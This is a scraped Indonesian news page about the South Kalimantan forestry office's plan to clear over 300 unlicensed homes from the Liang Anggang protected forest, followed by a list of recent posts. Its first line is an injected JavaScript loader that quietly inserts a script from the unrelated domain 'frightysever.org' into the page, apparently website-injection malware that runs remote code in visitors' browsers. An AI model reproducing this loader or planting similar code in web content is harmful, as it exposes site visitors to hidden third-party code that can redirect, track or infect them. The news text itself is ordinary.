(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Kembalikan Fungsi Hutan, Dishut Kalsel Gencar Tertibkan Rumah Warga


KANALKALIMANTAN.COM, BANJARMASIN – Warga yang selama ini beraktivitas di dalam kawasan Hutan Lindung (HL) Liang Anggang siap-siap dibikin gigit jari. Tahun ini, Dinas Kehutanan (Dishut) bakal lebih gencar menertibkan rumah warga yang merambah HL.

Penertiban, kata Kepala Dishut Kalsel Hanif Faisol, agar habitat satwa asli di luasan tanah 960 hektar pada blok satu HL tetap terjaga. Sejauh ini, separuh dari luasan kawasan hutan lindung itu dialihfungsikan warga yang bermukim tanpa memiliki izin.

Sebelum penertiban, Pemprov lebih dulu melayangkan surat kepada warga untuk membongkar rumahnya sendiri di akhir tahun 2019. “Semua rumah di sana tidak boleh ada, jadi kami Pemprov ingin mengambilkan fungsi hutan lindung ini,” ujarnya kepada apahabar.com, Kamis (16/1).

Hanif berharap adanya penertiban ini kiranya dapat mengembalikan fungsi strategis hutan lindung. “Nantinya dapat mendongkrak sektor edukasi, pariwisata dan perlindungan bagi kawasan rawa gambut di wilayah sana. Upaya dengan menanam pohon identik khas menampung hutan rawa gambut,” jelas dia.

Posisi hutan lindung yang dirambah warga ini sangat berdekatan dengan Bandara Syamsuddin Noor dan kompleks perkantoran Pemprov Kalsel. “Ini menjadi barometer kita dan wajib dijaga, karena kita tidak bisa menjaga kawasan hutan lindung yang notabene di depan mata kita, apalagi yang jauh jauh,” ujarnya.

Konon, lanjut Hanif kawasan hutan lindung tersebut sudah ditetapkan sejak tahun 80-an. Sangat jauh sebelum adanya permukiman warga di sana. Namun mulai tahun 2000-an, kata dia, HL mulai tidak terkelola dengan baik.

Warga masuk satu per satu hingga menetap di lokasi itu. Berdasar datanya, ada 300 lebih rumah yang berdiri dan informasi dari drone hampir 500 hektar dialihfungsikan. Oleh karenanya, 250 personel diturunkan untuk melakukan penertiban. Di antaranya, Satpol PP, Kodim, Polri hingga personel Dishut sendiri. “Jadi bulan depan kita tertibkan bertahap, sehingga target 2020 tidak ada lagi pemukiman di sana,” tuturnya.

Ke depan, pihaknya mendesain landscape hutan lindung tersebut berkerja sama dengan jurusan Geografi Fisip ULM Banjarmasin. Untuk tanaman di atasnya dikelola oleh pusat penelitian tanaman Bogor. Menurutnya, hutan lindung ini sangat berbeda dengan di Pegunungan Meratus. “Jadi bentuknya didesain oleh mereka, anggaran dan kerja samanya sudah kita bikin,” pungkasnya.(Dishut)

Reporter : Dishut
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.